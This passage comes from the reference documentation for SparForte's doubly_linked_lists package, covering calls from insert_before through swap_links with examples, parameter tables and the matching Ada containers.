at an element, the element is appended. If n is given, insert n copies instead of one.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_listed_lists.insert_before( animal_list, porpose_position, "penguin" );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>true if there's an element</span></td> </tr><tr> <td><span>c</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the cursor to insert before</span></td> </tr><tr> <td><span>e</span></td> <td><span>in</span></td> <td><span><i>list element type</i></span></td> <td><span>unknown value</span></td> <td><span>the element</span></td> </tr><tr> <td><span>n</span></td> <td><span>in</span></td> <td><span>containers.count_type</span></td> <td><span>1</span></td> <td><span>the number of elements</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if out of memory</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.insert_before_and_mark</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Insert</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>Ada is Doubly_Linked_Lists.Insert but insert is a SparForte reserved word.</p></td> </tr> </table> <a name="doubly_linked_lists.insert_before_and_mark"></a><h3>doubly_linked_lists.insert_before_and_mark( l, c, c2 [, n] ) | ( l, c, e, c2 [, n] )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Insert element e before the cursor c and position cursor c2 to the element inserted. If no element is given, a node is inserted with an unknown element. If the cursor does not point at an element, the element is appended. If n is given, insert n copies instead of one.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_listed_lists.insert_before( animal_list, porpose_position, "penguin" );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>true if there's an element</span></td> </tr><tr> <td><span>c</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the cursor to insert before</span></td> </tr><tr> <td><span>e</span></td> <td><span>in</span></td> <td><span><i>list element type</i></span></td> <td><span>unknown value</span></td> <td><span>the element</span></td> </tr><tr> <td><span>c2</span></td> <td><span>out</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the cursor to first element inserted</span></td> </tr><tr> <td><span>n</span></td> <td><span>in</span></td> <td><span>containers.count_type</span></td> <td><span>1</span></td> <td><span>the number of elements</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if out of memory</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.insert_before</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Insert</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>Ada is Doubly_Linked_Lists.Insert but insert is a SparForte reserved word. This is broken into two functions to make parsing easier.</p></td> </tr> </table> <a name="doubly_linked_lists.is_empty"></a><h3>b := doubly_linked_lists.is_empty( l )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Return true if the list has no elements.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">if doubly_linked_lists.is_empty( animal_list ) then ...</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>b</span></td> <td><span>return value</span></td> <td><span>boolean</span></td> <td><span>required</span></td> <td><span>true if empty</span></td> </tr><tr> <td><span>l</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.contains</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Is_Empty</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.last_element"></a><h3>e := doubly_linked_lists.last_element( l )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Return the last list element.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">animal := doubly_listed_lists.last_element( animal_list );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>e</span></td> <td><span>return value</span></td> <td><span><i>list element type</i></span></td> <td><span>required</span></td> <td><span>the element</span></td> </tr><tr> <td><span>l</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if there is no element</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.first_element</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Last_Element</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.length"></a><h3>n := doubly_linked_lists.length( l )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Return the number of elements in the list.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">if doubly_listed_lists.length( animal_list ) &gt; 10 then ...</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>n</span></td> <td><span>return value</span></td> <td><span>containers.count_type</span></td> <td><span>required</span></td> <td><span>the number of elements</span></td> </tr><tr> <td><span>l</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.is_empty</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Length</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.move"></a><h3>doubly_linked_lists.move( l1, l2 )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Overwrite the contents of list l1 with a copy of l2 and erase l2.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.move( destination_list, source_list )</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l1</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the destination list</span></td> </tr><tr> <td><span>l2</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the source list</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element type is the wrong type<br> An exception is raised if out of memory</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.assign</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Move</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.new_cursor"></a><h3>doubly_linked_lists.new_cursor( c, t )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>(No longer available) Initialize a new cursor, assigning the element type for the cursor. The element type must be a scalar type, and it may be a universal type.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.new_cursor( animal_position, string );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>c</span></td> <td><span>out</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the cursor to initialize</span></td> </tr><tr> <td><span>t</span></td> <td><span>in</span></td> <td><span><i>the element type</i></span></td> <td><span>required</span></td> <td><span>the type of element</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Removed</p></td> <td><p>This function was removed in SparForte 2.0.4 because of the new generic type feature.</p></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: N/A (AdaScript extension)</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>Allocates a resource for the cursor.</p></td> </tr> </table> <a name="doubly_linked_lists.new_list"></a><h3>doubly_linked_lists.new_list( l, t )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>(No longer available) Initialize a new list, assigning the element type for the list. The element type must be a scalar type, and it may be a universal type.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.new_list( animal_position, string );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list to initialize</span></td> </tr><tr> <td><span>t</span></td> <td><span>in</span></td> <td><span><i>the element type</i></span></td> <td><span>required</span></td> <td><span>the type of element</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Removed</p></td> <td><p>This function was removed in SparForte 2.0.4 because of the new generic type feature.</p></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: N/A (AdaScript extension)</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>Allocates a resource for the list.</p></td> </tr> </table> <a name="doubly_linked_lists.next"></a><h3>doubly_linked_lists.next( c )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Move the cursor to the next element in the list. doubly_linked_lists.has_element will be false if the end of the list is reached. Moving when there is no element will not move the cursor.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.next( animal_position );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>c</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the cursor to move</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.previous</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Next</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>Ada version is a function.</p></td> </tr> </table> <a name="doubly_linked_lists.parcel"></a><h3>doubly_linked_lists.parcel( s, w, l )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Convert ("parcel out") the string to a list of strings. Each string is length w except for the final string that has the remaining characters. An empty string will result in an unchanged list. If the list is not empty, the new strings will be appended. The list can be converted to a string with doubly_linked_lists.assemble.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.parcel( long_string, 72, parcel_list) );<br>-- a list of 72 character strings</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>s</span></td> <td><span>in</span></td> <td><span>universal_string</span></td> <td><span>required</span></td> <td><span>the string</span></td> </tr><tr> <td><span>w</span></td> <td><span>in</span></td> <td><span>positive</span></td> <td><span>required</span></td> <td><span>the parcel width</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list of strings or typeless</span></td> <td><span>required</span></td> <td><span>the list with the fixed-width strings</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if out of memory</p></td> </tr><tr> <td><p class="pkg_label">Introduced</p></td> <td><p>SparForte 2.4</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.disassemble</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: N/A (AdaScript extension)</p> <p>PHP: chunk_split</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.prepend"></a><h3>doubly_linked_lists.prepend( l, e )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Push list element e on the front of the list.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.prepend( l, "albatross" )</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>e</span></td> <td><span>in</span></td> <td><span><i>list element type</i></span></td> <td><span>required</span></td> <td><span>the element to push</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element is the wrong type<br> An exception is raised if out of memory</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.append</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Prepend</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.previous"></a><h3>doubly_linked_lists.previous( c )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Move the cursor to the previous element in the list. doubly_linked_lists.has_element will be false if the start of the list is reached. Moving when there is no element will not move the cursor.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.previous( animal_position );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>c</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the cursor to move</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.next</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Previous</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>Ada version is a function.</p></td> </tr> </table> <a name="doubly_linked_lists.replace_element"></a><h3>doubly_linked_lists.replace_element( l, c, e )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Replace the list element at the cursor position with e.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.replace_element( animal_list, dog_position, "collie" );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>c</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the cursor</span></td> </tr><tr> <td><span>e</span></td> <td><span>in</span></td> <td><span><i>list element type</i></span></td> <td><span>required</span></td> <td><span>the element to assign</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element is the wrong type<br> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Replace_Element</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.reverse_elements"></a><h3>doubly_linked_lists.reverse_elements( l )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Reverse the order of the list elements.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_listed_lists.reverse_elements( animal_list );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.flip</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Reverse_Elements</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.reverse_find"></a><h3>doubly_linked_lists.reverse_find( l, e, c )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Move the cursor to the location of e in the list. Start from the end of the list. doubly_linked_lists.has_element will be false if the element is not found.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.reverse_find( animal_list, "bear", bear_position );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>e</span></td> <td><span>in out</span></td> <td><span><i>list element type</i></span></td> <td><span>required</span></td> <td><span>the element to find</span></td> </tr><tr> <td><span>c</span></td> <td><span>int out</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the position of the element</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element is the wrong type</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.find</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Reverse_Find</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>Ada version is a function.</p></td> </tr> </table> <a name="doubly_linked_lists.splice"></a><h3>doubly_linked_lists.splice( l1, c, l2 [,c2] ) | ( l1, c, c2 )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>For (l1, c, l2), move the all the elements of l2 to list l1 before cursor c. If l1 and l2 are the same list, nothing happens.<br>For (l1, c, l2, c2), move the element of l2 at cursor c2 before cursor c in list l1. If both lists and cursors are the same, nothing happens.<br>For (l1, c, c2), move the element at cursor c2 in list l1 to new position c. If both cursors are the same, nothing happens.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.splice( animal_list, cat_position, dog_position );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l1</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the target list</span></td> </tr><tr> <td><span>l2</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the source list</span></td> </tr><tr> <td><span>c</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the target cursor</span></td> </tr><tr> <td><span>c2</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the source cursor</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element type is the wrong type. The element types must be the same for all lists and cursors.</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Splice</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>Ada version does not necessarily treat all parameters as in out mode.</p></td> </tr> </table> <a name="doubly_linked_lists.swap"></a><h3>doubly_linked_lists.swap( l, c1, c2 )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Swap the elements at cursor c1 and c2.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.swap( animal_list, cat_position, dog_position );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>c1</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the first cursor</span></td> </tr><tr> <td><span>c2</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the second cursor</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element type is the wrong type.<br>An exception is raised if a cursor points at no element</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.swap_links</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Swap</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.swap_links"></a><h3>doubly_linked_lists.swap_links( l, c1, c2 )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Swap the elements at cursor c1 and c2 by swapping internal pointers. This is usually faster than doubly_linked_lists.swap but causes the cursor positions to be swapped in the list as well.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.swap_links( animal_list, cat_position, dog_position );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>c1</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the first cursor</span></td> </tr><tr> <td><span>c2</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the second cursor</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element type is the wrong type.<br>An exception is raised if a cursor points at no element.</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.swap</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Swap_Links</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> &nbsp;<br> </td> <td bgcolor="#d3c7f8" width="150" align="right" valign="top"><noscript><hr /></noscript><img src="art/right_menu_top.png" width="150" height="24" alt="[Right Submenu]"><br><a name="submenu"></a> <p class="rmt"><a class="rightmenutext" href="packages.html">&nbsp;Summary</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_arrays.html">&nbsp;arrays</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_btree_io.html">&nbsp;btree_io</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_calendar.html">&nbsp;calendar</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_cgi.html">&nbsp;cgi</a></p> 